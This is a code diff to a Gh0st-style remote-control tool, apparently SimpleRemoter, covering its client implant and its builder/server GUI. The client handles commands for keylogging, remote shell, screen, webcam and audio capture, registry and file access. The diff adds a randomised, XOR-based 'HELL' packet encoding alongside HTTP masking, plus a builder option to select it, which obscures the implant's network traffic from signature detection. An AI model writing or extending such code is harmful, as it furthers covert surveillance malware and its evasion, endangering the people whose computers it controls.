diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index e33e47b..8ec4c32 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -13,7 +13,7 @@ // 远程地址 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, - FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM, + FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_TCP, RUNNING_RANDOM, }; // 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员. diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index a64d565..8a43b08 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -96,12 +96,14 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) } -IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask) : g_bExit(bExit) +IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask, int encoder) : g_bExit(bExit) { m_ServerAddr = {}; m_nHostPort = 0; m_Manager = NULL; m_masker = mask ? new HttpMask("example.com") : new PkgMask(); + auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum)); + m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder(); #ifdef _WIN32 WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); @@ -111,9 +113,6 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask) : g_bE m_hWorkThread = NULL; m_bWorkThread = S_STOP; - memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag)); - memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH); - m_bIsRunning = TRUE; m_bConnected = FALSE; @@ -149,6 +148,7 @@ IOCPClient::~IOCPClient() ZSTD_freeDCtx(m_Dctx); #endif m_masker->Destroy(); + SAFE_DELETE(m_Encoder); } // 从域名获取IP地址 @@ -361,6 +361,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) assert (ulLength > 0); //以下接到数据进行解压缩 m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength); + int FLAG_LENGTH = m_Encoder->GetFlagLen(); + int HDR_LENGTH = m_Encoder->GetHeadLen(); //检测数据是否大于数据头大小 如果不是那就不是正确的数据 while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH) @@ -373,12 +375,13 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) if (m_CompressedBuffer.GetBufferLength() <= HDR_LENGTH) break; - char szPacketFlag[FLAG_LENGTH + 3] = {0}; + char szPacketFlag[32] = {0}; src = (char*)m_CompressedBuffer.GetBuffer(); CopyMemory(szPacketFlag, src, FLAG_LENGTH); //判断数据头 - if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) - { + HeaderEncType encType = HeaderEncUnknown; + FlagType flagType = CheckHead(szPacketFlag, encType); + if (flagType == FLAG_UNKNOWN) { Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag); m_CompressedBuffer.ClearBuffer(); break; @@ -404,7 +407,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2; m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); - + m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag); size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); if (Z_SUCCESS(iRet))//如果解压成功 @@ -468,10 +471,11 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) #if !USING_ZLIB ulCompressedLength = iRet; #endif - ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH; + ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen(); CBuffer m_WriteBuffer; - - m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH); + HeaderFlag H = m_Encoder->GetHead(); + m_Encoder->Encode(CompressedBuffer, ulCompressedLength, (LPBYTE)H.data()); + m_WriteBuffer.WriteBuffer((PBYTE)H.data(), m_Encoder->GetFlagLen()); m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 0c1c708..da36abc 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -15,16 +15,63 @@ #include "zstd/zstd.h" #include "domain_pool.h" #include "common/mask.h" +#include "common/header.h" +#define NO_AES +#include "common/encrypt.h" #define MAX_RECV_BUFFER 1024*32 #define MAX_SEND_BUFFER 1024*32 -#define FLAG_LENGTH 5 -#define HDR_LENGTH 13 enum { S_STOP = 0, S_RUN, S_END }; typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength); + +class ProtocolEncoder { +public: + virtual ~ProtocolEncoder(){} + virtual HeaderFlag GetHead() const { + return "Shine"; + } + virtual int GetHeadLen() const { + return 13; + } + virtual int GetFlagLen() const { + return 5; + } + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {} + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {} +}; + +class HellEncoder : public ProtocolEncoder { +private: + EncFun m_HeaderEnc; + Encoder *m_BodyEnc; +public: + HellEncoder(EncFun head, Encoder *body) { + m_HeaderEnc = head; + m_BodyEnc = body; + } + ~HellEncoder() { + SAFE_DELETE(m_BodyEnc); + } + virtual HeaderFlag GetHead() const override { + return ::GetHead(m_HeaderEnc); + } + virtual int GetHeadLen() const override { + return 16; + } + virtual int GetFlagLen() const override { + return 8; + } + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override { + return m_BodyEnc->Encode(data, len, param); + } + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override { + return m_BodyEnc->Decode(data, len, param); + } +}; + class IOCPManager { public: virtual ~IOCPManager() {} @@ -57,7 +104,7 @@ public: class IOCPClient { public: - IOCPClient(State& bExit, bool exit_while_disconnect = false, int mask=0); + IOCPClient(State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0); virtual ~IOCPClient(); int SendLoginInfo(const LOGIN_INFOR& logInfo) { @@ -114,7 +161,6 @@ protected: protected: sockaddr_in m_ServerAddr; - char m_szPacketFlag[FLAG_LENGTH + 3]; SOCKET m_sClientSocket; CBuffer m_CompressedBuffer; BOOL m_bWorkThread; @@ -130,6 +176,7 @@ protected: State& g_bExit; // 全局状态量 void* m_Manager; // 用户数据 DataProcessCB m_DataProcess; // 处理用户数据 + ProtocolEncoder* m_Encoder; // 加密 DomainPool m_Domain; std::string m_sCurIP; int m_nHostPort; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 84f7c27..8aa76b8 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -18,18 +18,18 @@ // UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) { if (conn->protoType == PROTO_TCP) - return new IOCPClient(bExit, exit_while_disconnect); + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->iHeaderEnc); if (conn->protoType == PROTO_UDP) return new IOCPUDPClient(bExit, exit_while_disconnect); if (conn->protoType == PROTO_HTTP) - return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP); + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->iHeaderEnc); return NULL; } ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) { static ThreadInfo tKeyboard; tKeyboard.run = FOREVER_RUN; - tKeyboard.p = new IOCPClient(bExit, false); + tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->iHeaderEnc); tKeyboard.conn = conn; tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); return &tKeyboard; @@ -303,7 +303,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } case COMMAND_PROXY: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -342,7 +342,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (m_hKeyboard) { CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); } else { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; } break; @@ -350,7 +350,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_TALK: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; @@ -358,21 +358,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SHELL: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SYSTEM: //远程进程管理 { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WSLIST: //远程窗口管理 { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -400,7 +400,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (ulLength > 1) { memcpy(user->buffer, szBuffer + 1, ulLength - 1); } - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; @@ -408,35 +408,35 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_LIST_DRIVE : { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WEBCAM: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->iHeaderEnc); m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } diff --git a/common/commands.h b/common/commands.h index ab6bbea..b0bec00 100644 --- a/common/commands.h +++ b/common/commands.h @@ -548,6 +548,11 @@ enum RunningType { RUNNING_PARALLEL = 1, // 并发上线 }; +enum ProtocolEncType { + PROTOCOL_SHINE = 0, + PROTOCOL_HELL = 1, +}; + // 所连接的主控程序信息 typedef struct CONNECT_ADDRESS { diff --git a/common/mask.h b/common/mask.h index a084472..6b01a3f 100644 --- a/common/mask.h +++ b/common/mask.h @@ -50,10 +50,17 @@ public: return 0; } virtual void SetServer(const char* addr) {} + virtual PkgMaskType GetMaskType() const { + return MaskTypeNone; + } }; class HttpMask : public PkgMask { public: + virtual PkgMaskType GetMaskType() const override { + return MaskTypeHTTP; + } + /** * @brief 鏋勯犲嚱鏁 * @param host HTTP Host 澶村瓧娈 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index e7cb07c..3b1834c 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 565cf78..1ab8c3e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -2735,15 +2735,20 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) CString res[RES_MAX]; CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME); ctx->GetAdditionalData(res); + FlagType type = ctx->GetFlagType(); + static std::map typMap = { + {FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"}, + {FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"}, + }; // 鎷兼帴鍐呭 CString strText; std::string expired = res[RES_EXPIRED_DATE]; expired = expired.empty() ? "" : " Expired on " + expired; - strText.Format(_T("鏂囦欢璺緞: %s%s\r\n绯荤粺淇℃伅: %s 浣 %s 鏍稿績 %s GB\r\n鍚姩淇℃伅: %s %s\r\n涓婄嚎淇℃伅: %s %d"), + strText.Format(_T("鏂囦欢璺緞: %s%s\r\n绯荤粺淇℃伅: %s 浣 %s 鏍稿績 %s GB\r\n鍚姩淇℃伅: %s %s\r\n涓婄嚎淇℃伅: %s %d %s"), res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 浣 ", res[RES_FILE_PATH], res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(), - ctx->GetProtocol().c_str(), ctx->GetServerPort()); + ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str()); // 鑾峰彇榧犳爣浣嶇疆 CPoint pt; diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 31bcb8c..36c406b 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -74,12 +74,14 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits); DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType); DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto); + DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt); } BEGIN_MESSAGE_MAP(CBuildDlg, CDialog) ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk) ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe) + ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters) END_MESSAGE_MAP() @@ -150,6 +152,7 @@ void CBuildDlg::OnBnClickedOk() g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); g_ConnectAddress.runningType = m_ComboRunType.GetCurSel(); g_ConnectAddress.protoType = m_ComboProto.GetCurSel(); + g_ConnectAddress.iHeaderEnc = m_ComboEncrypt.GetCurSel(); if (!g_ConnectAddress.IsValid()) { SAFE_DELETE_ARRAY(szBuffer); @@ -264,27 +267,16 @@ BOOL CBuildDlg::OnInitDialog() m_ComboProto.InsertString(PROTO_HTTP, "HTTP"); m_ComboProto.SetCurSel(PROTO_TCP); + m_ComboEncrypt.InsertString(PROTOCOL_SHINE, "Shine"); + m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL"); + m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE); + m_OtherItem.ShowWindow(SW_HIDE); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE } -Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) { - switch (method) - { - case 0:// 不加密 - break; - case 1: // XOR - xor_encrypt_decrypt(buffer, len, { 'G', 'H', 'O', 'S', 'T' }); - break; - default: - break; - } - return Buffer(); -} - - void CBuildDlg::OnCbnSelchangeComboExe() { auto n = m_ComboExe.GetCurSel(); @@ -335,3 +327,10 @@ void CBuildDlg::OnCbnSelchangeComboExe() m_OtherItem.ShowWindow(SW_HIDE); } } + + +void CBuildDlg::OnHelpParameters() +{ + CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数"); + ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 0954fcf..1ccd168 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -26,7 +26,6 @@ public: CString m_strPort; afx_msg void OnBnClickedOk(); virtual BOOL OnInitDialog(); - Buffer Encrypt(BYTE* buffer, int len, int method); CComboBox m_ComboExe; afx_msg void OnCbnSelchangeComboExe(); @@ -34,4 +33,6 @@ public: CComboBox m_ComboBits; CComboBox m_ComboRunType; CComboBox m_ComboProto; + CComboBox m_ComboEncrypt; + afx_msg void OnHelpParameters(); }; diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index b684e83..ea81374 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -293,6 +293,7 @@ public: virtual int GetPort() const = 0; virtual std::string GetProtocol() const = 0; virtual int GetServerPort() const = 0; + virtual FlagType GetFlagType() const = 0; public: virtual ~context() {} @@ -331,7 +332,7 @@ public: Server* server; // 所属服务端 std::string GetProtocol() const override { - return "TCP"; + return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP"; } int GetServerPort() const override { return server->GetPort(); @@ -410,6 +411,9 @@ public: BYTE GetBYTE(int offset) { return InDeCompressedBuffer.GetBYTE(offset); } + virtual FlagType GetFlagType() const override { + return Parser.m_nFlagType; + } // Write compressed buffer. void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1) { if (Parser.IsParsed()) { diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index a3f52b2..3bb3686 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ